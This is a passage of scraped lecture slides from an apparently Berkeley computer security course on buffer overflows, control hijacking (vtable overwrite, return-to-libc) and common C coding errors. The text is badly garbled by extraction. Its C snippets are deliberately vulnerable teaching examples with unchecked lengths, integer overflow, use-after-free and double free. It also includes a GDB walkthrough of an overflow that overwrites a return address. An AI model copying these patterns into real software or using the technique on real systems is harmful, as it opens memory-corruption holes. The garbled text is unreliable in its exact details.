  the	
  Heap	
  
Overwrite	
  Step:	
  Overwrite	
  pointer	
  to	
  vtable	
  on	
  heap	
  to	
  point	
  to	
  a	
  cra$ed	
  vtable.	
  
Ac9vate	
  Step:	
  Call	
  any	
  method	
  from	
  Object	
  T	
  
ptr	
  
data	
  
buffer	
  
Object	
  T	
  
FP1:	
  
FP2:	
  
FP3:	
  
vtable	
  
method	
  #1	
  
method	
  #2	
  
method	
  #3	
  
ptr	
  
data	
  
buffer	
  
FP1:	
  
FP2:	
  
FP3:	
  
craZed	
  FP1:	
  
cra$ed	
  FP2:	
  
cra$ed	
  FP3:	
  
cra$ed	
  ptr	
  
buffer	
  
vtable	
  
method	
  #1	
  
method	
  #2	
  
method	
  #3	
  
shellcode	
  
shellcode	
  
shellcode	
  
(craZed	
  vtable)	
  
Dawn	
  Song	
   36	
  
A8ack:	
  return-­‐to-­‐libc	
  (arc	
  injecTon)	
  
• Control	
  hijacking	
  without	
  execuTng	
  code	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
buffer	
  
(stack)	
  
exec()	
  
prinf()	
  
“/bin/shell”	
  
(libc.so)	
  
Dawn	
  Song	
   37	
  
 
	
  
	
  
	
  
General	
  Control	
  Hijacking	
  
Control	
  Flow	
  Pointer	
  
jump	
  to	
  address	
   longjmp	
  pointer	
  
funcTon	
  pointer	
  in	
  heap	
  
return	
  address	
  
frame	
  pointer	
  
excepTon	
  Handler	
  
funcTon	
  pointer	
  as	
  
local	
  variable	
  
shellcode,	
  library	
  
(return	
  to	
  libc)	
  
Overwrite	
  Step:	
  
Find	
  some	
  way	
  to	
  modify	
  a	
  Control	
  Flow	
  Pointer	
  to	
  point	
  to	
  your	
  shellcode,	
  library	
  
entry	
  point,	
  or	
  other	
  code	
  of	
  interest.	
  
Ac9vate	
  Step:	
  
Find	
  some	
  way	
  to	
  ac9vate	
  that	
  modified	
  Control	
  Flow	
  Pointer.	
  
expected	
  code	
  
Dawn	
  Song	
   38	
  
Instances	
  of	
  Control	
  Hijacking	
  
Loca9on	
  in	
  
Memory	
  
Control	
  Flow	
  
Pointer	
  
How	
  to	
  ac9vate	
  
Stack	
   Return	
  Address	
   Return	
  from	
  
funcTon	
  
Stack	
   Frame	
  Pointer	
   Return	
  from	
  
funcTon	
  
Stack	
   FuncTon	
  Pointers	
  
as	
  local	
  variables	
  
Reference	
  and	
  call	
  
funcTon	
  pointer	
  
Stack	
   ExcepTon	
  Handler	
   Trigger	
  ExcepTon	
  
Heap	
   FuncTon	
  pointer	
  in	
  
heap	
  (i.e.	
  method	
  
of	
  an	
  object)	
  
Reference	
  and	
  call	
  
funcTon	
  pointer	
  
Anywhere	
   setjmp	
  and	
  longjmp	
  
program	
  state	
  
buffer	
  
Call	
  longjmp	
  
Ret	
  Addr	
  
Frame	
  Ptr	
  
buf	
  
(stack	
  frame)	
  
excepTon	
  handers	
  
local	
  fn	
  ptrs	
  
ptr	
  
data	
  
Object	
  T	
  
FP1:	
  
FP2:	
  
FP3:	
  
vtable	
  
method	
  #1	
  
method	
  #2	
  
method	
  #3	
  
(HEAP)	
  
buf	
  
saved	
  pointer	
  
…	
  
other	
  	
  data	
  
longjmp	
  
buf	
  
ptr	
  
data	
  
Object	
  T	
  
FP1:	
  
FP2:	
  
FP3:	
  
vtable	
  
method	
  #1	
  
method	
  #2	
  
method	
  #3	
  
(HEAP)	
  
buf	
  
Dawn	
  Song	
   39	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
authenTcaTon_variable	
  
buffer	
  
Data	
  Hijacking	
  
Dawn	
  Song	
   40	
  
Normal	
  Situa9on:	
  
User	
  types	
  in	
  a	
  password	
  which	
  is	
  stored	
  in	
  the	
  buffer,	
  and	
  if	
  the	
  user	
  is	
  successfully	
  
authenTcated,	
  the	
  authenTcaTon_variable	
  is	
  set.	
  
Modifying	
  data	
  in	
  a	
  way	
  not	
  intended	
   Example:	
  AuthenTcaTon	
  variable	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
authenTcaTon_variable	
  
buffer	
  
Exploited	
  Situa9on:	
  
User	
  types	
  in	
  a	
  password	
  which	
  is	
  long	
  enough	
  to	
  overflow	
  buffer	
  and	
  into	
  the	
  
authenTcaTon_variable.	
  The	
  user	
  is	
  now	
  unintenTonally	
  authenTcated.	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
authenTcaTon_variable	
  
buffer	
  
 So$ware	
  Security	
  (II):	
  	
  
	
  	
  	
  	
  	
  	
  Other	
  types	
  of	
  so$ware	
  vulnerabiliTes	
  
Computer	
  Security	
  Course.	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   	
   	
  Dawn	
  Song	
  
Dawn	
  Song	
   41	
  
Common	
  Coding	
  Errors	
  
• Input	
  validaTon	
  vulnerabiliTes	
  
• Memory	
  management	
  vulnerabiliTes	
  
• TOCTTOU	
  vulnerabiliTes	
  
Dawn	
  Song	
   42	
  
Input	
  validaTon	
  vulnerabiliTes	
  
• Program	
  requires	
  certain	
  assumpTons	
  on	
  
inputs	
  to	
  run	
  properly	
  
• Without	
  correct	
  checking	
  for	
  inputs 	
  	
  
– Program	
  gets	
  exploited	
  
• Example:	
  	
  
– Buffer	
  overflow	
  
– Format	
  string	
  	
  
Dawn	
  Song	
   43	
  
Example	
  I	
  
Dawn	
  Song	
   44	
  
1: unsigned int size;!
2: Data **datalist;!
3:!
4: size = GetUntrustedSizeValue();!
5: datalist = (data **)malloc(size * sizeof(Data *));!
6: for(int i=0; i<size; i++) {!
7: datalist[i] = InitData();!
8: }!
9: datalist[size] = NULL;!
10: ...!
Example	
  I	
  
Example	
  II	
  
• What's	
  wrong	
  with	
  this	
  code?
• Hint	
  –	
  memcpy()	
  prototype:	
  
– void *memcpy(void *dest, const void *src, size_t n);
• DefiniTon	
  of	
  size_t:	
  typedef unsigned int size_t;
• Do	
  you	
  see	
  it	
  now?	
  
Dawn	
  Song	
   45	
  
1: char buf[80];!
2: void vulnerable() {!
3: int len = read_int_from_network();!
4: char *p = read_string_from_network();!
5: if (len > sizeof buf) {!
6: error(“length too large, nice try!”);!
7: return;!
8: }!
9: memcpy(buf, p, len);!
10: }!
Example	
  II	
  
Implicit	
  CasTng	
  Bug	
  
• A8acker	
  provides	
  a	
  negaTve	
  value	
  for	
  len	
  
– if	
  wonʼt	
  noTce	
  anything	
  wrong	
  
– Execute	
  memcpy()	
  with	
  negaTve	
  third	
  arg	
  
– Third	
  arg	
  is	
  implicitly	
  cast	
  to	
  an	
  unsigned int,	
  and	
  
becomes	
  a	
  very	
  large	
  posiTve	
  int	
  
– memcpy()	
  copies	
  huge	
  amount	
  of	
  memory	
  into	
  buf,	
  
yielding	
  a	
  buffer	
  overrun!	
  
• A	
  signed/unsigned	
  or	
  an	
  implicit	
  casTng	
  bug	
  
– Very	
  nasty	
  –	
  hard	
  to	
  spot	
  
• C	
  compiler	
  doesnʼt	
  warn	
  about	
  type	
  mismatch	
  
between	
  signed int	
  and	
  unsigned int	
  
– Silently	
  inserts	
  an	
  implicit	
  cast	
  
Dawn	
  Song	
   46	
  
Example	
  III	
  (Integer	
  Overflow)	
  
• Whatʼs	
  wrong	
  with	
  this	
  code?	
  
– No	
  buffer	
  overrun	
  problems	
  (5	
  spare	
  bytes)	
  
– No	
  sign	
  problems	
  (all	
  ints	
  are	
  unsigned)	
  	
  
• But,	
  len+5	
  can	
  overflow	
  if	
  len	
  is	
  too	
  large	
  
– If	
  len = 0xFFFFFFFF,	
  then	
  len+5	
  is	
  4	
  	
  
– Allocate	
  4-­‐byte	
  buffer	
  then	
  read	
  a	
  lot	
  more	
  than	
  4	
  bytes	
  
into	
  it:	
  classic	
  buffer	
  overrun!	
  
• Know	
  programming	
  language’s	
  semanTcs	
  well	
  to	
  avoid	
  
pi~alls	
  
Dawn	
  Song	
   47	
  
1: size_t len = read_int_from_network();!
2: char *buf;!
3: buf = malloc(len+5);!
4: read(fd, buf, len);!
5: ...!
Example	
  III	
  
Example	
  IV	
  
• Use-­‐a$er-­‐free	
  
• Corrupt	
  memory	
  
h8p://cwe.mitre.org	
   Dawn	
  Song	
   48	
  
1: char* ptr = (char*) malloc(SIZE);!
2: if (err) {!
3: abrt = 1;!
4: free(ptr);!
5: }!
6: ...!
7: if (abrt) {!
8: logError(“operation aborted before commit”, ptr);!
9: }!
Example	
  IV	
  
Example	
  V	
  
• Double-­‐free	
  error	
  
• Corrupts	
  memory-­‐management	
  data	
  structure	
  
h8p://owasp.org	
   Dawn	
  Song	
   49	
  
1: char* ptr = (char*) malloc(SIZE);!
2: if (err) {!
3: abrt = 1;!
4: free(ptr);!
5: }!
6: ...!
7: free(ptr);!
Example	
  V	
  
What	
  are	
  so$ware	
  vulnerabiliTes?	
  
• Flaws	
  in	
  so$ware	
  	
  
• Break	
  certain	
  assumpTons	
  important	
  for	
  security	
  
– What	
  assumpTons	
  broken	
  in	
  buffer	
  overflow?	
  
Dawn	
  Song	
   50	
  
Why	
  does	
  so$ware	
  have	
  vulnerabiliTes?	
  
• Programmers	
  are	
  humans!	
  
– Humans	
  make	
  mistakes!	
  
• Programmers	
  were	
  not	
  security	
  aware	
  
• Programming	
  languages	
  are	
  not	
  designed	
  well	
  for	
  
security	
  
	
  
Dawn	
  Song	
   51	
  
What	
  can	
  you	
  do?	
  
• Programmers	
  are	
  humans!	
  
– Humans	
  make	
  mistakes!	
  	
  
– Use	
  tools!	
  (next	
  lecture)	
  
• Programmers	
  were	
  not	
  security	
  aware	
  
– Learn	
  about	
  different	
  common	
  classes	
  of	
  coding	
  errors	
  
• Programming	
  languages	
  are	
  not	
  designed	
  well	
  for	
  
security	
  
– Pick	
  be8er	
  languages	
  
	
  
Dawn	
  Song	
   52	
  

More Related Content

PDF
Storytelling For The Web: Integrate Storytelling in your Design Process
PDF
Artificial Intelligence, Data and Competition – SCHREPEL – June 2024 OECD dis...
PDF
How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...
PDF
2024 Trend Updates: What Really Works In SEO & Content Marketing
PDF
Berkeley University CS161 Computer Security lecture 2 - security analysis
PDF
Berkeley CS 161 computer security lectures - overview
PDF
lect02--memory.pdf
PDF
lect01--intro.pdf
Storytelling For The Web: Integrate Storytelling in your Design Process
Artificial Intelligence, Data and Competition – SCHREPEL – June 2024 OECD dis...
How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...
2024 Trend Updates: What Really Works In SEO & Content Marketing
Berkeley University CS161 Computer Security lecture 2 - security analysis
Berkeley CS 161 computer security lectures - overview
lect02--memory.pdf
lect01--intro.pdf

Recently uploaded (7)

PDF
ಶ್ರೀ ಕ್ಷೇತ್ರ ಚಂಪಕಧಾಮ ಸ್ವಾಮಿ ದೇವಾಲಯSri Kshetra Champakadham Swamy Temple
PPTX
Coklat Beige Ilustrasi 3 Dimensi Tugas Kelompok Presentasi.pptx
PDF
فورمولر عمومی مضمون فزیک برای همه انجنیران
PDF
15 AUG 2025 PS 15 AUG 2025 PS 15 AUG 2025 PS
PPTX
Tahfidz Qur’an TIMING tampa musik bagian 2.pptx
PPTX
science grade 7 quiz_Scientific Method.pptx
PDF
Materi seni rupa untuk sekolah dasar materi tentang seni rupa
ಶ್ರೀ ಕ್ಷೇತ್ರ ಚಂಪಕಧಾಮ ಸ್ವಾಮಿ ದೇವಾಲಯSri Kshetra Champakadham Swamy Temple
Coklat Beige Ilustrasi 3 Dimensi Tugas Kelompok Presentasi.pptx
فورمولر عمومی مضمون فزیک برای همه انجنیران
15 AUG 2025 PS 15 AUG 2025 PS 15 AUG 2025 PS
Tahfidz Qur’an TIMING tampa musik bagian 2.pptx
science grade 7 quiz_Scientific Method.pptx
Materi seni rupa untuk sekolah dasar materi tentang seni rupa
Ad
Ad

Memory safety and vulnerabilities: attacks and defenses

  • 1.  So$ware  Security  (I):                Buffer-­‐overflow  A8acks   Computer  Security  Course.                                                                                    Dawn  Song   Dawn  Song   1  
  • 2. Intro   SERVER   CLIENT   HTTP REQUEST HTTP RESPONSE EXPLOIT Remote Shell CLIENT  ATTACKER   Dawn  Song   2  
  • 3. Linux  (32-­‐bit)  process  memory  layout     Reserved  for  Kernal   user  stack   shared  libraries   run  9me  heap   sta9c  data  segment   text  segment  (program)   unused   -0xC0000000 -0x40000000 -0x08048000 %esp   brk   Loaded  from  exec   -0x00000000 -0xFFFFFFFF
  • 4. Stack  Frame   user  stack   shared  libraries   run  9me  heap   sta9c  data   segment   text  segment   (program)   unused   -0xC0000000 -0x40000000 -0x08048000 -0x00000000 arguments   return  address   stack  frame  pointer   excep9on  handlers   local  variables   callee  saved  registers   To  previous  stack    frame  pointer   To    the  point  at  which    this  funcTon  was  called  
  • 5. Stack  Frame    9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  128,  fp);   12:    int  header_ok  =  0;   13:    if  (cmd[0]  ==  ‘G’)   14:        if  (cmd[1]  ==  ‘E’)   15:            if  (cmd[2]  ==  ‘T’)   16:                if  (cmd[3]  ==  ‘  ’)   17:                    header_ok  =  1;   18:    if  (!header_ok)  return  -­‐1;   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!=‘n’)  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   A  quick  example  to  illustrate   mul9ple  stack  frames  
  • 6. Viewing  Stack  Frame  with  GDB    9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  128,  fp);   12:    int  header_ok  =  0;   13:    if  (cmd[0]  ==  ‘G’)   14:        if  (cmd[1]  ==  ‘E’)   15:            if  (cmd[2]  ==  ‘T’)   16:                if  (cmd[3]  ==  ‘  ’)   17:                    header_ok  =  1;   18:    if  (!header_ok)  return  -­‐1;   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!=‘n’)  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   gcc –g parse.c –o parse Compile:   ./parse Run:   We  can  debug  using  gdb.    gdb parse Then  we  can  take  a  look  at  the  stack.    (gdb) break 7 (gdb) run (gdb) x/64x $esp     Debug:   23:  /**  main  to  load  a  file  and  run  parse  */   Our  example  modified  to  include   a  main  func9on   parse.c  
  • 7. Viewing  Stack  Frame  with  GDB   (gdb) x/64x $esp     Debug:   Our  running  example  modified  to   illustrate  mul9ple  stack  frames   parse.c  
  • 8. What  are  buffer  overflows?   args! ret address! frame ptr! ! ! ! local variables! ! ! ! ! callee saved registers! (Unallocated)    9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!=‘n’)  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)       args! ret address! frame ptr! local variables! callee saved registers! fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 0x0804a008! 0x080485a2! 0xbffff778! 0xbffff6c4! 0x00000001! 0xbfef20dc! 0xbf02224c! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! 0xbffff760 in   return  address   stack  frame  ptr   i   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000000! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c copy_lower’s   frame   parse’s   frame  
  • 9. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0xbffff778! 0xbffff6c4! 0x00000001! 0xbfef20dc! 0xbf022261! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000000! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!=‘n’)  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)  
  • 10. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0xbffff778! 0xbffff6c4! 0x00000001! 0xbfef20dc! 0xbf026161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000001! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!=‘n’)  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)  
  • 11. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0xbffff778! 0xbffff6c4! 0x00000001! 0xbfef20dc! 0xbf616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000002! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!=‘n’)  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)  
  • 12. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0xbffff778! 0xbffff6c4! 0x00000001! 0xbfef20dc! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000003! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!=‘n’)  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)  
  • 13. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0xbffff778! 0xbffff6c4! 0x00000001! 0xbfef2061! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000004! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)  
  • 14. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0xbffff778! 0xbffff6c4! 0x00000001! 0xbfef6161! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000005! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)   Uh  oh….  
  • 15. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0xbffff778! 0xbffff6c4! 0x00000001! 0xbf616161! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000005! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c  9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */   parse.c     0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)   Uh  oh….  
  • 16. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x0804a008! 0x080485a2! 0xbffff778! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x0000000d! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c parse.c   0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)   Uh  oh….    9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        out[i]  =  tolower(in[i]);    5:        i++;    6:    }    7:    buf[i]  =  ‘0’;    8:}   23:  /**  main  to  load  a  file  and  run  parse  */    
  • 17. What  are  buffer  overflows?   fp   return  address   stack  frame  ptr   url   header_ok                      buf[4]   buf[3,2,1,0]   cmd[128,127,126,125]   .   .   .   cmd[7,6,5,4]   cmd[3,2,1,0]   0xbffff75c 0xbffff758 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . . . 0xbffff6c4 0xbffff6c0 in   return  address   stack  frame  ptr   i   0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x61616161! 0x00000000! .! .! .! 0x41414141! 0x20544547! ! ! (Unallocated)   0xbffff740! 0xbffff6c4! 0x080485a2! 0xbffff758! 0x00000019! out   0xbffff6b4 0xbffff6b0 0xbffff6ac 0xbffff6a8 0xbffff69c parse.c   0xbffff760 file   GET  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   (input  file)   Uh  oh….    9:int  parse(FILE  *fp)  {   10:    char  buf[5],  *url,  cmd[128];   11:    fread(cmd,  1,  256,  fp);   12:    int  header_ok  =  0;   .   .   .   19:    url  =  cmd  +  4;   20:    copy_lower(url,  buf);   21:    printf(“Location  is  %sn”,  buf);   22:    return  0;  }    1:void  copy_lower  (char*  in,  char*  out)  {    2:    int  i  =  0;    3:    while  (in[i]!=‘0’  &&  in[i]!='n')  {    4:        